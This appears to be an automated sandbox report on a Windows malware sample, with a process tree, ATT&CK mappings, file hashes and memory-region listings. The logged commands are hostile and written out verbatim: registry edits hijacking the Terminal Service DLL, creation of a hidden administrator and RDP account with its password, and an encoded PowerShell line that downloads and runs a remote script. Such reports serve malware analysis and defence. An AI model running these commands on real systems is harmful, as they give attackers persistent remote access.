"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\b0t4bbh1\b0t4bbh1.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:916

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2419.tmp" "c:\Users\Admin\AppData\Local\Temp\b0t4bbh1\CSC628C69F9AD1F42E79C97D3868A81A60.TMP"
4⤵
PID:2376

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1532

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:400

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
3⤵
PID:3172

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
3⤵
PID:680

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
3⤵
- Modifies registry key
PID:1072

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
3⤵
PID:1148

C:\Windows\system32\net.exe
"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
3⤵
- Suspicious use of WriteProcessMemory
PID:2180

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
4⤵
PID:3864

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
3⤵
- Suspicious use of WriteProcessMemory
PID:3824

C:\Windows\system32\cmd.exe
cmd /c net start rdpdr
4⤵
- Suspicious use of WriteProcessMemory
PID:1660

C:\Windows\system32\net.exe
net start rdpdr
5⤵
- Suspicious use of WriteProcessMemory
PID:3984

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start rdpdr
6⤵
PID:968

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
3⤵
- Suspicious use of WriteProcessMemory
PID:2028

C:\Windows\system32\cmd.exe
cmd /c net start TermService
4⤵
- Suspicious use of WriteProcessMemory
PID:2060

C:\Windows\system32\net.exe
net start TermService
5⤵
- Suspicious use of WriteProcessMemory
PID:1304

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start TermService
6⤵
PID:2820

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
3⤵
PID:3688

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
3⤵
PID:3692

C:\Users\Admin\AppData\Roaming\wfbjtvr
C:\Users\Admin\AppData\Roaming\wfbjtvr
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1348

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:1344

C:\Windows\system32\net.exe
net.exe user WgaUtilAcc 000000 /del
2⤵
- Suspicious use of WriteProcessMemory
PID:1308

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
3⤵
PID:836

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc vLwQgy1D /add
1⤵
- Suspicious use of WriteProcessMemory
PID:1532

C:\Windows\system32\net.exe
net.exe user WgaUtilAcc vLwQgy1D /add
2⤵
- Suspicious use of WriteProcessMemory
PID:8

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user WgaUtilAcc vLwQgy1D /add
3⤵
PID:1864

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:2884

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
2⤵
PID:1404

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
3⤵
PID:4092

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MHKKHUYI$ /ADD
1⤵
PID:1464

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Remote Desktop Users" MHKKHUYI$ /ADD
2⤵
PID:1516

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MHKKHUYI$ /ADD
3⤵
PID:2224

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1084

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
2⤵
PID:1980

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
3⤵
PID:1472

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc vLwQgy1D
1⤵
PID:960

C:\Windows\system32\net.exe
net.exe user WgaUtilAcc vLwQgy1D
2⤵
PID:1428

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user WgaUtilAcc vLwQgy1D
3⤵
PID:3480

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1860

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
2⤵
- Modifies data under HKEY_USERS
PID:3624

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1708

C:\Windows\System32\Wbem\WMIC.exe
wmic CPU get NAME
2⤵
PID:744

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:3260

C:\Windows\system32\cmd.exe
cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
2⤵
PID:1344

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:3640

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\53B.exe
MD5
5dec7029dda901f99d02a1cb08d6b3ab

SHA1
8561c81e8fab7889eb13ab29450bed82878e78c9

SHA256
6a61b992773f571c45f2d1087a56817dd5c1f3a90ca2965cc5c7319b33f3890b

SHA512
09e5856113a7b073568e878d1de74c834e318dd05b95afe8729a3008b4cc1efc0b1a6a9c21b25c0b1dadec3d6de5b5bc4ef84523f454591717b6f24fe5dffaca

Download Submit
C:\Users\Admin\AppData\Local\Temp\53B.exe
MD5
5dec7029dda901f99d02a1cb08d6b3ab

SHA1
8561c81e8fab7889eb13ab29450bed82878e78c9

SHA256
6a61b992773f571c45f2d1087a56817dd5c1f3a90ca2965cc5c7319b33f3890b

SHA512
09e5856113a7b073568e878d1de74c834e318dd05b95afe8729a3008b4cc1efc0b1a6a9c21b25c0b1dadec3d6de5b5bc4ef84523f454591717b6f24fe5dffaca

Download Submit
C:\Users\Admin\AppData\Local\Temp\73B5.exe
MD5
77ce7ab11225c5e723b7b1be0308e8c0

SHA1
709a8df1d49f28cf8c293694bbbbd0f07735829b

SHA256
d407b5c7d9568448f1e7387924fe4dded9e016632879c386c307ef5dcf63f496

SHA512
f73582206397db625bdefbbaf8abdc1a820ae8054eb2ef2a3ed18c8e00e8365c7ad81013b33990e4304619b3834a1b8b15c782905204add158fca686e2c25c3b

Download Submit
C:\Users\Admin\AppData\Local\Temp\73B5.exe
MD5
77ce7ab11225c5e723b7b1be0308e8c0

SHA1
709a8df1d49f28cf8c293694bbbbd0f07735829b

SHA256
d407b5c7d9568448f1e7387924fe4dded9e016632879c386c307ef5dcf63f496

SHA512
f73582206397db625bdefbbaf8abdc1a820ae8054eb2ef2a3ed18c8e00e8365c7ad81013b33990e4304619b3834a1b8b15c782905204add158fca686e2c25c3b

Download Submit
C:\Users\Admin\AppData\Local\Temp\8903.exe
MD5
3ba1d635fed88d8af279be91b7007bae

SHA1
62a1d59c746cdb51e699114f410749384a70cf73

SHA256
3151b115c3370d5360286bfe3a053d0d543f0e5d21faa68fee167224e68d115a

SHA512
83254fb484bd40740e5e0483dcc7fd8ce612033b00238494fdcdc5a5dcb3503195e0e2694edd5d848c07e2ddc61cafdb7d331afc4792ccd788837ebbce18bfeb

Download Submit
C:\Users\Admin\AppData\Local\Temp\8903.exe
MD5
3ba1d635fed88d8af279be91b7007bae

SHA1
62a1d59c746cdb51e699114f410749384a70cf73

SHA256
3151b115c3370d5360286bfe3a053d0d543f0e5d21faa68fee167224e68d115a

SHA512
83254fb484bd40740e5e0483dcc7fd8ce612033b00238494fdcdc5a5dcb3503195e0e2694edd5d848c07e2ddc61cafdb7d331afc4792ccd788837ebbce18bfeb

Download Submit
C:\Users\Admin\AppData\Local\Temp\A854.exe
MD5
f80418f12c03a56ac2e8d8b189c13750

SHA1
cd0b728375e4e178b50bca8ad65ce79aede30d37

SHA256
cbc5d7db8e27b2369a1d83c2d8615c1dbb6263e8b80c4b12a86493c9df093716

SHA512
e3fb85cc08a94193528ecc760b58904df47aa302419267c5b3386468e1d7fdece63fee05d8d95a083637b70a24035d3123c94463111ba372b39fcc69787aa196

Download Submit
C:\Users\Admin\AppData\Local\Temp\A854.exe
MD5
f80418f12c03a56ac2e8d8b189c13750

SHA1
cd0b728375e4e178b50bca8ad65ce79aede30d37

SHA256
cbc5d7db8e27b2369a1d83c2d8615c1dbb6263e8b80c4b12a86493c9df093716

SHA512
e3fb85cc08a94193528ecc760b58904df47aa302419267c5b3386468e1d7fdece63fee05d8d95a083637b70a24035d3123c94463111ba372b39fcc69787aa196

Download Submit
C:\Users\Admin\AppData\Local\Temp\CBBB.exe
MD5
fd4e0205ce36f99ff343a78ec3e251bc

SHA1
b633df31339acb69f708a41fd227298420fd4036

SHA256
617f9d822418a44cac50b28755f2d075fac1c2de21995820912f07f4b4ee8075

SHA512
f413a054603bc0bc86d1657e3960c4b691e7900be36e9470a408264cb63ad0eb9d7cea7b83dbfdf7f727ea5c359d7d6ab5b565ab60976735d67f00c5a082f50e

Download Submit
C:\Users\Admin\AppData\Local\Temp\CBBB.exe
MD5
fd4e0205ce36f99ff343a78ec3e251bc

SHA1
b633df31339acb69f708a41fd227298420fd4036

SHA256
617f9d822418a44cac50b28755f2d075fac1c2de21995820912f07f4b4ee8075

SHA512
f413a054603bc0bc86d1657e3960c4b691e7900be36e9470a408264cb63ad0eb9d7cea7b83dbfdf7f727ea5c359d7d6ab5b565ab60976735d67f00c5a082f50e

Download Submit
C:\Users\Admin\AppData\Local\Temp\CBBB.exe
MD5
fd4e0205ce36f99ff343a78ec3e251bc

SHA1
b633df31339acb69f708a41fd227298420fd4036

SHA256
617f9d822418a44cac50b28755f2d075fac1c2de21995820912f07f4b4ee8075

SHA512
f413a054603bc0bc86d1657e3960c4b691e7900be36e9470a408264cb63ad0eb9d7cea7b83dbfdf7f727ea5c359d7d6ab5b565ab60976735d67f00c5a082f50e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES1E9B.tmp
MD5
d28dc91bfd32c39e2399b1e433932e56

SHA1
812c9b7d4fe3deb1b0843e2512fd29a5e5e1f34f

SHA256
ddc5f5e5e81816ce07371bf22df84b36fb0433d6e3fe1209ffce81217bc919b4

SHA512
8977c8c4ff6fcf690f08787c19e685e7fd866208369377ae5d79cdf3a8c7be2e880455f759bd9ccb55dd211c346aba942fb117e292eec02ac411fcfe6fd7f5bf

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES2419.tmp
MD5
7fb888c9cd788db299829a34ce86f8f1

SHA1
04689ab5eab1180832f6ee81d8d95c2daab56f1c

SHA256
3b6fbf7bead557ba907e3635d1e8c843b87e59dc3908b418b778f1efaa9bd858

SHA512
0db3468d12e364251d5d0e82d85fb089026bb7b924c5af9bed18eb65b26921894ad13194c0b527250d1689f88bbd096aa4675cf903423e9b430bf9589d66d3c2

Download Submit
C:\Users\Admin\AppData\Local\Temp\b0t4bbh1\b0t4bbh1.dll
MD5
e1aa63165ce13005cc64781ecae27a6f

SHA1
91338f430095ce8a22fce06250f61071423afca9

SHA256
0b8f2c354f9be971234d0cf7c90b51924c446e0162786545c9d4a0c91df309fb

SHA512
1a91cdc2236319c59be6329e66dd35000b82a54b7db1ca4ae9d0bb8688f56026c57f96ad6c00b8731b3d5b69971bdaaec7f5652069bf6c75b79be053e8d0ae20

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1
MD5
854b2dfc0a28f2959b1d2fc363a4e318

SHA1
ce1753052c5bdad56708ec75d8085b2c597df6c1

SHA256
7135370ad5c4279486173fa5d0de73ea06dd814e4f8df98f80624f6f8b8c231c

SHA512
b0204091d6f89877c808c2c1db97c3723f063eace68d54b25da674b5971d0a2f7d60549923097c36dedc8c1cb2f77dfdd1dfb4df60f16682652a6755e287bfd6

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1
MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

Download Submit
C:\Users\Admin\AppData\Local\Temp\u1ro3q0b\u1ro3q0b.dll
MD5
f7aa396256cc0403dd60fffd953a14e1

SHA1
5e89ea1044b6be57f03a7ce6e55a513fd8fdd9a0

SHA256
8d534bfdbca8c36ca65e0f9d70246a46e86daabc340f71c4521eb81578641207

SHA512
340eb739353d3c865b52a84f01a69442e616d6212ac8359bbf4d2e53424bef296bf5b360f2691eabca2598d2bb0a3a9e06133655eecb05eb1a845a970133695c

Download Submit
C:\Users\Admin\AppData\Roaming\wfbjtvr
MD5
db7f17a3f72742ef2fb1cdf5dd296887

SHA1
23109ad2f1f042890a58dde3ffeab77c81e4862a

SHA256
5b84a6685a8507f5e7ddf5fe2edbc8b2e63a576d433e7b9e447d7884c7477a28

SHA512
ace57895451f4dc906bc337a2cf11e0768e7136e1b2a976dda7fe0810af1659f5344e55485f42b8f7cc32faf95b053728228fb0a1126d6450093c05a98d98948

Download Submit
C:\Users\Admin\AppData\Roaming\wfbjtvr
MD5
db7f17a3f72742ef2fb1cdf5dd296887

SHA1
23109ad2f1f042890a58dde3ffeab77c81e4862a

SHA256
5b84a6685a8507f5e7ddf5fe2edbc8b2e63a576d433e7b9e447d7884c7477a28

SHA512
ace57895451f4dc906bc337a2cf11e0768e7136e1b2a976dda7fe0810af1659f5344e55485f42b8f7cc32faf95b053728228fb0a1126d6450093c05a98d98948

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\b0t4bbh1\CSC628C69F9AD1F42E79C97D3868A81A60.TMP
MD5
6013a2b94573a62dcc8f8cb350045978

SHA1
170cb948869c2b9c8187cce3db69375a232bd106

SHA256
aa637cd7dfa8c1746ce25fd380ae014ab200e9e0afd2db4b8b5084571921c1cb

SHA512
2671c47a8ae307e3a1846e6cb152f1e2f7132e28823153ebf512d312c3799b9eb7edc73f40385b1f971d583809309e36dc39ebdfa549bb5b4db1b31745758cf7

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\b0t4bbh1\b0t4bbh1.0.cs
MD5
e0f116150ceec4ea8bb954d973e3b649

SHA1
86a8e81c70f4cc265f13e8760cf8888a6996f0fd

SHA256
511ea5f70cbc2f5d875f7dd035cb5203b119e22c3b131cc551d21d151c909d54

SHA512
32f01c2658c0314709e5dedec9a6d9911d0a0d777f6856569e043f705d036ab10e996732303ecdffea912e783b79463bdc0ffaa4b8c9d7a1e06a9073cd263bec

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\b0t4bbh1\b0t4bbh1.cmdline
MD5
cf859cf87bcbe2e1c16cbfff33b7921c

SHA1
85e1bd28177ba37cb43e7614b7539ea3ad2dc478

SHA256
f963f2615a477c8d12cdb7f6f6e8fef58c459d9631e6d41ee258c41721f7f660

SHA512
e0fbbdbc0ae1448aca6414e5f289da11369e31fb377dbfed9fa69f9f938c53ccfae5763280c78d7bab6455b95bc9ea9c9d1d6e17a73348402d14cdc0392af57c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\u1ro3q0b\CSCBCABE9DCDC7E4AC1B6926E10764D5F4D.TMP
MD5
57cfaaa7fce68c8f9fc7fc4489922391

SHA1
2a6883eade788b2e9ebd3a68d0826f36f1e8855e

SHA256
176a5c52a38a0747b4adb8cb0698f9a3645e75b781e00055827fa16432cddd95

SHA512
0afcae16de6f64e45ed13888d7d69a7de56bd7bb7f42a383361958d81fe9a5f3bee95b3d294e54d0d3db7655947371e920cfc0bc226555bc4d0f77e0ec5cfec6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\u1ro3q0b\u1ro3q0b.0.cs
MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\u1ro3q0b\u1ro3q0b.cmdline
MD5
8f73f667103792a134b6bfb5725d3d67

SHA1
bfa30dfa40a28df2766b53f4c9844c5f380cff0e

SHA256
6e10a43602578b2493f8df30674adbed59c3d58708d953a1a623a85bd4f40cae

SHA512
c2f296f1996be781bccccd376c7dd48d2413d27c768212e88fe79c68a2cc354c5502e405cb8dafd6a0b9e26c407d77f327cee72557224c0fab0193c3e587fb89

Download Submit
\Windows\Branding\mediasrv.png
MD5
83bd2c45f1faf20a77579cbb8765c2b3

SHA1
fe01b295c1005f4cbc0cfcb277dac5e7c443622c

SHA256
ca7ce804ab35bf65eb6f6e1501afbd506520bbe9bd04710d5efe0e57377a9809

SHA512
e0ac8e2d79841e18fedfed993d6e0bedb169a2ca57092292ac831667dedddbca8b90619f977d449d9595adbb9efd48487940fced5eaa38ef17366ec7075da57c

Download Submit
\Windows\Branding\mediasvc.png
MD5
af4e893deae35128088534aea49a1b74

SHA1
ce25e8e738978a2106e3464a7a4bf0345e60fd31

SHA256
76dd1fb220473c4167a73d7202943fda2109da475e515f4056a03bb01318f22d

SHA512
3115d385ec08548337b28b6b4f773578e9548d418b30f1f276f6a835a203ef497f0d23a7282f2fc7aceda73099eb4c4535c17c4842b542bd1867320f07319b97

Download Submit
memory/8-473-0x0000000000000000-mapping.dmp

Download
memory/400-323-0x000001856B140000-0x000001856B142000-memory.dmp

Filesize
8KB

Download
memory/400-307-0x0000000000000000-mapping.dmp

Download
memory/400-369-0x000001856B146000-0x000001856B148000-memory.dmp

Filesize
8KB

Download
memory/400-324-0x000001856B143000-0x000001856B145000-memory.dmp

Filesize
8KB

Download
memory/680-417-0x0000000000000000-mapping.dmp

Download
memory/744-484-0x0000000000000000-mapping.dmp

Download
memory/836-472-0x0000000000000000-mapping.dmp

Download
memory/916-241-0x0000000000000000-mapping.dmp

Download
memory/968-464-0x0000000000000000-mapping.dmp

Download
memory/1072-418-0x0000000000000000-mapping.dmp

Download
memory/1148-419-0x0000000000000000-mapping.dmp

Download
memory/1304-467-0x0000000000000000-mapping.dmp

Download
memory/1308-471-0x0000000000000000-mapping.dmp

Download
memory/1344-485-0x0000000000000000-mapping.dmp

Download
memory/1348-558-0x0000000000400000-0x00000000004CC000-memory.dmp

Filesize
816KB

Download
memory/1404-475-0x0000000000000000-mapping.dmp

Download
memory/1428-481-0x0000000000000000-mapping.dmp

Download
memory/1432-131-0x0000000005030000-0x0000000005031000-memory.dmp

Filesize
4KB

Download
memory/1432-127-0x0000000000330000-0x0000000000331000-memory.dmp

Filesize
4KB

Download
memory/1432-153-0x00000000055C0000-0x00000000055C1000-memory.dmp

Filesize
4KB

Download
memory/1432-155-0x0000000006AB0000-0x0000000006AB1000-memory.dmp

Filesize
4KB

Download
memory/1432-152-0x0000000005520000-0x0000000005521000-memory.dmp

Filesize
4KB

Download
memory/1432-151-0x0000000005400000-0x0000000005401000-memory.dmp

Filesize
4KB

Download
memory/1432-119-0x0000000000000000-mapping.dmp

Download
memory/1432-122-0x0000000000330000-0x0000000000398000-memory.dmp

Filesize
416KB

Download
memory/1432-150-0x00000000061C0000-0x00000000061C1000-memory.dmp

Filesize
4KB

Download
memory/1432-123-0x00000000008E0000-0x00000000008E1000-memory.dmp

Filesize
4KB

Download
memory/1432-124-0x0000000077240000-0x0000000077402000-memory.dmp

Filesize
1.8MB

Download
memory/1432-154-0x0000000005FC0000-0x0000000005FC1000-memory.dmp

Filesize
4KB

Download
memory/1432-125-0x00000000025D0000-0x0000000002615000-memory.dmp

Filesize
276KB

Download
memory/1432-126-0x0000000075770000-0x0000000075861000-memory.dmp

Filesize
964KB

Download
memory/1432-129-0x0000000073440000-0x00000000734C0000-memory.dmp

Filesize
512KB

Download
memory/1432-130-0x00000000056B0000-0x00000000056B1000-memory.dmp

Filesize
4KB

Download
memory/1432-156-0x00000000071B0000-0x00000000071B1000-memory.dmp

Filesize
4KB

Download
memory/1432-132-0x00000000051B0000-0x00000000051B1000-memory.dmp

Filesize
4KB

Download
memory/1432-133-0x00000000050A0000-0x00000000050A1000-memory.dmp

Filesize
4KB

Download
memory/1432-134-0x0000000076640000-0x0000000076BC4000-memory.dmp

Filesize
5.5MB

Download
memory/1432-136-0x0000000005090000-0x0000000005091000-memory.dmp

Filesize
4KB

Download
memory/1432-138-0x0000000072FC0000-0x000000007300B000-memory.dmp

Filesize
300KB

Download
memory/1432-137-0x00000000050E0000-0x00000000050E1000-memory.dmp

Filesize
4KB

Download
memory/1432-135-0x00000000740B0000-0x00000000753F8000-memory.dmp

Filesize
19.3MB

Download
memory/1472-480-0x0000000000000000-mapping.dmp

Download
memory/1516-477-0x0000000000000000-mapping.dmp

Download
memory/1532-276-0x000001F899803000-0x000001F899805000-memory.dmp

Filesize
8KB

Download
memory/1532-322-0x000001F899808000-0x000001F89980A000-memory.dmp

Filesize
8KB

Download
memory/1532-275-0x000001F899800000-0x000001F899802000-memory.dmp

Filesize
8KB

Download
memory/1532-263-0x0000000000000000-mapping.dmp

Download
memory/1532-281-0x000001F899806000-0x000001F899808000-memory.dmp

Filesize
8KB

Download
memory/1660-462-0x0000000000000000-mapping.dmp

Download
memory/1864-474-0x0000000000000000-mapping.dmp

Download
memory/1904-142-0x0000000000350000-0x0000000000351000-memory.dmp

Filesize
4KB

Download
memory/1904-139-0x0000000000000000-mapping.dmp

Download
memory/1904-149-0x0000000004AA0000-0x00000000050A6000-memory.dmp

Filesize
6.0MB

Download
memory/1980-479-0x0000000000000000-mapping.dmp

Download
memory/1984-197-0x0000000000400000-0x0000000002B74000-memory.dmp

Filesize
39.5MB

Download
memory/1984-195-0x0000000002B80000-0x0000000002C2E000-memory.dmp

Filesize
696KB

Download
memory/1984-194-0x0000000002B80000-0x0000000002C2E000-memory.dmp

Filesize
696KB

Download
memory/1984-191-0x0000000000000000-mapping.dmp

Download
memory/2028-465-0x0000000000000000-mapping.dmp

Download
memory/2060-466-0x0000000000000000-mapping.dmp

Download
memory/2180-456-0x0000000000000000-mapping.dmp

Download
memory/2224-478-0x0000000000000000-mapping.dmp

Download
memory/2312-221-0x0000018AD1200000-0x0000018AD1202000-memory.dmp

Filesize
8KB

Download
memory/2312-213-0x0000018AB72C0000-0x0000018AB72C2000-memory.dmp

Filesize
8KB

Download
memory/2312-254-0x0000018AD1208000-0x0000018AD1209000-memory.dmp

Filesize
4KB

Download
memory/2312-210-0x0000000000000000-mapping.dmp

Download
memory/2312-234-0x0000018AD1206000-0x0000018AD1208000-memory.dmp

Filesize
8KB

Download
memory/2312-211-0x0000018AB72C0000-0x0000018AB72C2000-memory.dmp

Filesize
8KB

Download
memory/2312-223-0x0000018AD1203000-0x0000018AD1205000-memory.dmp

Filesize
8KB

Download
memory/2312-212-0x0000018AB72C0000-0x0000018AB72C2000-memory.dmp

Filesize
8KB

Download
memory/2312-214-0x0000018AB72C0000-0x0000018AB72C2000-memory.dmp

Filesize
8KB

Download
memory/2376-244-0x0000000000000000-mapping.dmp

Download
memory/2768-116-0x0000000000030000-0x0000000000039000-memory.dmp

Filesize
36KB

Download
memory/2768-117-0x0000000000400000-0x00000000004CC000-memory.dmp

Filesize
816KB

Download
memory/2820-468-0x0000000000000000-mapping.dmp

Download
memory/3040-118-0x00000000005C0000-0x00000000005D6000-memory.dmp

Filesize
88KB

Download
memory/3040-560-0x0000000004BC0000-0x0000000004BD6000-memory.dmp

Filesize
88KB

Download
memory/3136-235-0x0000000000000000-mapping.dmp

Download
memory/3172-371-0x0000019AEB823000-0x0000019AEB825000-memory.dmp

Filesize
8KB

Download
memory/3172-407-0x0000019AEB828000-0x0000019AEB82A000-memory.dmp

Filesize
8KB

Download
memory/3172-406-0x0000019AEB826000-0x0000019AEB828000-memory.dmp

Filesize
8KB

Download
memory/3172-353-0x0000000000000000-mapping.dmp

Download
memory/3172-370-0x0000019AEB820000-0x0000019AEB822000-memory.dmp

Filesize
8KB

Download
memory/3480-482-0x0000000000000000-mapping.dmp

Download
memory/3620-169-0x00000000029E0000-0x0000000002A25000-memory.dmp

Filesize
276KB

Download
memory/3620-170-0x0000000077240000-0x0000000077402000-memory.dmp

Filesize
1.8MB

Download
memory/3620-164-0x0000000000000000-mapping.dmp

Download
memory/3620-167-0x00000000008A0000-0x000000000090C000-memory.dmp

Filesize
432KB

Download
memory/3620-168-0x0000000000DE0000-0x0000000000DE1000-memory.dmp

Filesize
4KB

Download
memory/3620-171-0x0000000075770000-0x0000000075861000-memory.dmp

Filesize
964KB

Download
memory/3620-172-0x00000000008A0000-0x00000000008A1000-memory.dmp

Filesize
4KB

Download
memory/3620-174-0x0000000073440000-0x00000000734C0000-memory.dmp

Filesize
512KB

Download
memory/3620-179-0x0000000076640000-0x0000000076BC4000-memory.dmp

Filesize
5.5MB

Download
memory/3620-183-0x0000000005590000-0x0000000005591000-memory.dmp

Filesize
4KB

Download
memory/3620-182-0x0000000072FC0000-0x000000007300B000-memory.dmp

Filesize
300KB

Download
memory/3620-180-0x00000000740B0000-0x00000000753F8000-memory.dmp

Filesize
19.3MB

Download
memory/3624-483-0x0000000000000000-mapping.dmp

Download
memory/3628-200-0x0000000000400000-0x0000000002B74000-memory.dmp

Filesize
39.5MB

Download
